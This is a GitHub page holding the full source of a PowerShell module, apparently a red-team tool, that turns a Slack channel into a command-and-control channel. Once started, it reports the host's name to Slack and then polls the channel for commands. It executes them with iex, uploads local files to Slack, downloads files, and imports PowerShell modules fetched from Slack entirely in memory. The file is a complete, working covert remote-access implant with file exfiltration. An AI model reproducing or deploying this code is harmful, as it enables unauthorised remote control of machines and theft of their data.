-
Notifications
You must be signed in to change notification settings - Fork 20
/
SlackShellv1.1.psm1
executable file
·509 lines (374 loc) · 17.2 KB
/
SlackShellv1.1.psm1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
#requires -version 3
<#
Author: Brent Kennedy; @bk_up
First Published: 5/1/17
Last Updated: 5/31/18
#>
function Send-Message {
<#
.SYNOPSIS
Sends a message to the specific Slack Channel through the API.
.DESCRIPTION
Sends a message to the specific Slack Channel through the API. Messages uses the Slack "text" field for a header and "attachment" field for the main body of the message.
.PARAMETER Token
API authentication token for the Slack team and user.
.PARAMETER Channel
Channel ID to monitor (must use ID number, not name).
.PARAMETER Text
Main body of the message. This will be an "attachment" in the Slack API call.
.PARAMETER Header
Header text for the message. This will be the "text" in the Slack API call.
.EXAMPLE
Send-Message -Token "xoxp-175828824580-175707545745-176600001223-826315a84e533c482bb7e20e8312sdf3" -Channel "ABC123456" -Header "Message Header" -Text "Hell World!"
#>
param(
[Parameter(Mandatory=$true, Position=0)][string]$token,
[Parameter(Mandatory=$true, Position=1)][string]$channelID,
[string]$text = "",
[string]$header = ""
)
Write-Verbose "[+] Sending $text"
$chars = $text.Length
#if more than 3,000 chars then the data must be uploaded as a snippet due to api limits
DO
{
If ($chars -gt 3000) {
$tmp = $text.Substring(0,3000)
$text = $text.Substring(3000)
$chars = $text.Length
}
else {
$chars = 0
$tmp = $text
}
$attachment = Format-Table -InputObject $tmp | ConvertTo-Json
$body = @{"token" = $token; "channel" = $channelID; "attachments" = $attachment; "as_user" = $true; "text" = $header}
Invoke-RestMethod -Uri "https://slack.com/api/chat.postMessage" -Body $body
} until ($chars -eq 0)
}
function Invoke-Command {
<#
.SYNOPSIS
Executes a command in PowerShell on the host.
.DESCRIPTION
Executes a command in PowerShell on the host in the current context of the running process and returns the output.
.PARAMETER Cmd
The command to be executed. Can include paramters in a string value.
.EXAMPLE
Invoke-Command "hostname"
#>
param(
[Parameter(Mandatory=$true)][string]$cmd
)
write-verbose "[+] Running $cmd"
return iex $cmd | Out-String
}
function Get-SlackMessage {
<#
.SYNOPSIS
Returns all messages in a specific Slack channel from the oldest time period to present.
.DESCRIPTION
Returns all messages in a specific Slack channel from the oldest time period to present. Messages returned in JSON format per the API specifications.
.PARAMETER Token
API authentication token for the Slack team and user.
.PARAMETER Channel
Channel ID to monitor (must use ID number, not name).
.PARAMETER Oldest
The time (in epoch) of the oldest possible message.
.EXAMPLE
Get-SlackMessage -Token "xoxp-175828824580-175707545745-176600001223-826315a84e533c482bb7e20e8312sdf3" -Channel "ABC123456" -Oldest 1234567890.123456
#>
param(
[Parameter(Mandatory=$true, Position=0)][string]$token,
[Parameter(Mandatory=$true, Position=1)][string]$channelID,
$oldest
)
$body = @{"token" = $token; "channel" = $channelID; "oldest" = $oldest}
Invoke-RestMethod -Uri "https://slack.com/api/channels.history" -Body $body
}
function Test-Connection {
<#
.SYNOPSIS
Determines if the API authentication token is valid.
.DESCRIPTION
Determines if the API authentication token is valid. Returns True or False.
.PARAMETER Token
API authentication token for the Slack team and user.
.EXAMPLE
Test-Connection -Token "xoxp-175828824580-175707545745-176600001223-826315a84e533c482bb7e20e8312sdf3"
#>
param(
[Parameter(Mandatory=$true, Position=0)][string]$token
)
Write-Verbose "[+] Testing connection..."
$body = @{"token" = $token}
$ouput = Invoke-RestMethod -Uri "https://slack.com/api/auth.test" -Body $body
return Select-Object -InputObject $ouput -ExpandProperty ok
}
function Invoke-Job {
<#
.SYNOPSIS
Starts a new prcess and executes a command in PowerShell on the host.
.DESCRIPTION
Starts a new process and executes a command in PowerShell on the host. Utilizes the Start-Job method in PowerShell to spawn a new process, wait for the job to finish, and return the output.
.PARAMETER Cmd
The command to be executed. Can include paramters in a string value.
.EXAMPLE
Invoke-Job "hostname"
#>
param(
[Parameter(Mandatory=$true)][string]$cmd
)
$full = "powershell.exe -c $cmd"
$Sb = [scriptblock]::Create($full)
$output = Start-Job -ScriptBlock $sb | Wait-Job | Receive-Job
return $output | Out-String
}
function Import-File {
<#
.SYNOPSIS
Downloads and imports a PS module.
.DESCRIPTION
Downloads a file from the Slack file respository based on its private URL and imports the file into the PS session, all in memory.
.PARAMETER Token
API authentication token for the Slack team and user.
.PARAMETER File
Full name of the file to download.
#>
param(
[Parameter(Mandatory=$true, Position=0)][string]$token,
[Parameter(Mandatory=$true, Position=1)][string]$file
)
#update file list
Get-FileList -Token $token -Channel $ChannelID
#lookup URL for file
foreach ($name in $files) {
if ($name.name.ToLower() -eq $file.ToLower()) {
$url = $name.url_private
}
}
try {
$A = Invoke-RestMethod -Uri "$url" -Headers @{"Authorization" = "Bearer $token";}
New-Module -ScriptBlock ([ScriptBlock]::Create($A)) -Name $file | Import-Module
$output = "$File imported sucessfully."
}
Catch {
$output = "Error during import."
}
return $output
}
function Get-FileList {
<#
.SYNOPSIS
Returns list of files.
.DESCRIPTION
Queries the list of files from the Slack file respository, outputs the names, and updates global variable of file IDs.
.PARAMETER Token
API authentication token for the Slack team and user.
.PARAMETER channelID
Channel to look up shared files for. Files need to be shared within a channel so that bot and user can both access.
#>
param(
[Parameter(Mandatory=$true, Position=0)][string]$token,
[Parameter(Mandatory=$true, Position=1)][string]$channelID
)
$body = @{"token" = $token; "channel" = $channelID;}
$global:files = Invoke-RestMethod -Uri "https://slack.com/api/files.list" -Body $body | Select-Object -ExpandProperty files | select id, name, url_private
}
function Receive-File {
<#
.SYNOPSIS
Downloads and save's a file to disk.
.DESCRIPTION
Downloads a file from the Slack file respository based on its private URL and stores it on the filesystem.
.PARAMETER Token
API authentication token for the Slack team and user.
.PARAMETER File
Full name of the file to download.
.PARAMETER Path
Filesystem path to store the file. Default is C:\.
#>
param(
[Parameter(Mandatory=$true, Position=0)][string]$token,
[Parameter(Mandatory=$true, Position=1)][string]$file,
[Parameter(Position=2)][string]$path
)
#update file list
Get-FileList -Token $token -Channel $ChannelID
#lookup URL for file
foreach ($name in $files) {
if ($name.name.ToLower() -eq $file.ToLower()) {
$url = $name.url_private
}
}
#set default file path
if (-not $path) {
$path = (Get-Item -Path ".\").FullName
}
try {
Invoke-RestMethod -Uri "$url" -Headers @{"Authorization" = "Bearer $token";} -OutFile "$path\$file"
$output = "Success downloading $file."
}
Catch {
$output = "Error during download."
}
return $output
}
function Send-File {
<#
.SYNOPSIS
Uploads a file from the local filesystem.
.DESCRIPTION
Uploads a file to the Slack respository from the local filesystem using the API.
.PARAMETER Token
API authentication token for the Slack team and user.
.PARAMETER Path
Full pAth of the file to upload.
.PARAMETER Channel
Slack channel to share the file with.
Credit for this function to the PSSlack Project (@RamblingCookieMonster)
https://github.com/RamblingCookieMonster/PSSlack
#>
param(
[Parameter(Mandatory=$true, Position=0)][string]$token,
[Parameter(Mandatory=$true, Position=1)][string]$path,
[Parameter(Mandatory=$true, Position=2)][string]$Channel
)
$fileName = (Split-Path -Path $path -Leaf)
$path = "$pwd\$filename"
$LF = "`r`n"
$readFile = [System.IO.File]::ReadAllBytes($Path)
$enc = [System.Text.Encoding]::GetEncoding("iso-8859-1")
$fileEnc = $enc.GetString($readFile)
$boundary = [System.Guid]::NewGuid().ToString()
$bodyLines =
"--$boundary$LF" +
"Content-Disposition: form-data; name=`"file`"; filename=`"$fileName`"$LF" +
"Content-Type: 'multipart/form-data'$LF$LF" +
"$fileEnc$LF" +
"--$boundary$LF" +
"Content-Disposition: form-data; name=`"token`"$LF" +
"Content-Type: 'multipart/form-data'$LF$LF" +
"$token$LF"
switch ($psboundparameters.keys) {
'Channel' {$bodyLines +=
("--$boundary$LF" +
"Content-Disposition: form-data; name=`"channels`"$LF" +
"Content-Type: multipart/form-data$LF$LF" +
($Channel -join ", ") + $LF)}
'FileName' {$bodyLines +=
("--$boundary$LF" +
"Content-Disposition: form-data; name=`"filename`"$LF" +
"Content-Type: multipart/form-data$LF$LF" +
"$FileName$LF")}
}
$bodyLines += "--$boundary--$LF"
try {
$response = Invoke-RestMethod -Uri "https://slack.com/api/files.upload" -Method Post -ContentType "multipart/form-data; boundary=`"$boundary`"" -Body $bodyLines
}
catch [System.Net.WebException] {
Write-Error( "Rest call failed for $uri`: $_" )
throw $_
}
}
function Start-Shell {
<#
.SYNOPSIS
Starts the monitoring of a Slack Channel for commands to be executed in PowerShell.
.DESCRIPTION
Starts the monitoring of a Slack Channel for commands to be executed in PowerShell. Will connect to the Slack channel every $sleep seconds and pull all new commands. Commands will be executed on the host in PowerShell.
.PARAMETER Token
API authentication token for the Slack team and user.
.PARAMETER Channel
Channel ID to monitor (must use ID number, not name).
.PARAMETER Sleep
The time (in seconds) between checks for commands. The deafult is 5 seconds.
.EXAMPLE
Start-Shell -Token "xoxp-175828824580-175707545745-176600001223-826315a84e533c482bb7e20e8312sdf3" -Channel "ABC123456"
#>
[cmdletbinding()]
param (
[Parameter(Mandatory=$true, Position=0)][string]$token,
[Parameter(Mandatory=$true, Position=1)][string]$ChannelID,
[int]$sleep = 5
)
#check API token
if (-Not (Test-Connection -Token $token)) {
Write-Output "API Token not Valid."
return
}
Write-Verbose "[+] Connection okay, checking in..."
#initial checkin
$response = Send-Message -Token $token -Channel $ChannelID -Text $((Get-WmiObject -Class Win32_ComputerSystem | Select -expand Name) + " has Connected!") -Header "Connection"
$oldestTime = $response.ts
$kill = $false
#loop until exit
While (-Not $kill) {
#sleep the loop
Start-Sleep -s $sleep
#getdata
$responses = Get-SlackMessage -Token $token -Channel $ChannelID -Oldest $oldestTime | Select-Object -ExpandProperty Messages | Sort-Object ts
Format-Table -InputObject $responses
if ($responses) {
#set oldest time to time of last message captured
$oldestTime = $responses[-1].ts
foreach ($response in $responses) {
if ($response.text.ToLower() -eq 'exit') {
$kill = $true
Send-Message -Token $token -Channel $ChannelID -Text $((Get-WmiObject -Class Win32_ComputerSystem | Select -expand Name) + " has exited.") -Header "Exiting"
break
}
elseif ($response.text.StartsWith("cd","CurrentCultureIgnoreCase")) {
$var = Set-Location -PassThru $($response.text.substring(3))
Send-Message -Token $token -Channel $ChannelID -Text $var -Header $("Output of: " + $response.text)
}
elseif ($response.text.StartsWith("sleep","CurrentCultureIgnoreCase")) {
$sleep = $response.text.substring(6)
Send-Message -Token $token -Channel $ChannelID -Text $("Sleep set to " + $sleep + " seconds.") -Header $("Output of: " + $response.text)
}
elseif ($response.text.ToLower() -eq 'files') {
Get-FileList -Token $token -Channel $ChannelID
Send-Message -Token $token -Channel $ChannelID -Text $(Write-Output $files | select name | Out-String) -Header "Files available:"
}
elseif ($response.text.StartsWith("import","CurrentCultureIgnoreCase")) {
$file = $response.text.substring(7)
Send-Message -Token $token -Channel $ChannelID -Text $(Import-File -Token $token -File $file) -Header $("Output of: " + $response.text)
}
elseif ($response.text.StartsWith("download","CurrentCultureIgnoreCase")) {
$tmp = $response.text.substring(9)
if ($tmp -like "* *"){
$parts = $tmp.split(" ")
$file = $parts[0]
$path = $parts[1]
Send-Message -Token $token -Channel $ChannelID -Text $(Receive-File -Token $token -File $file -Path $path) -Header $("Output of: " + $response.text)
}
else {
Send-Message -Token $token -Channel $ChannelID -Text $(Receive-File -Token $token -File $tmp) -Header $("Output of: " + $response.text)
}
}
elseif ($response.text.StartsWith("upload","CurrentCultureIgnoreCase")) {
$path = $response.text.substring(7)
Send-File -Token $token -Path $path -Channel $ChannelID
}
elseif ($response.text.StartsWith("runjob","CurrentCultureIgnoreCase")) {
$cmd = $response.text.substring(7)
Send-Message -Token $token -Channel $ChannelID -Text $(Invoke-Job -Cmd $cmd) -Header $("Output of: " + $response.text)
}
#remaining input will be treated as a PS command if not a bot or output from file upload.
elseif ((-Not $response.bot_id) -and (-Not $response.subtype -eq "file_share")) {
Send-Message -Token $token -Channel $ChannelID -Text $(Invoke-Command -Cmd $response.text) -Header $("Output of: " + $response.text)
}
}
}
}
}
Export-ModuleMember -Function Send-Message
Export-ModuleMember -Function Invoke-Job
Export-ModuleMember -Function Invoke-Command
Export-ModuleMember -Function Get-SlackMessage
Export-ModuleMember -Function Start-Shell
Export-ModuleMember -Function Test-Connection
Export-ModuleMember -Function Get-FileList
Export-ModuleMember -Function Import-File
Export-ModuleMember -Function Receive-File
Export-ModuleMember -Function Send-File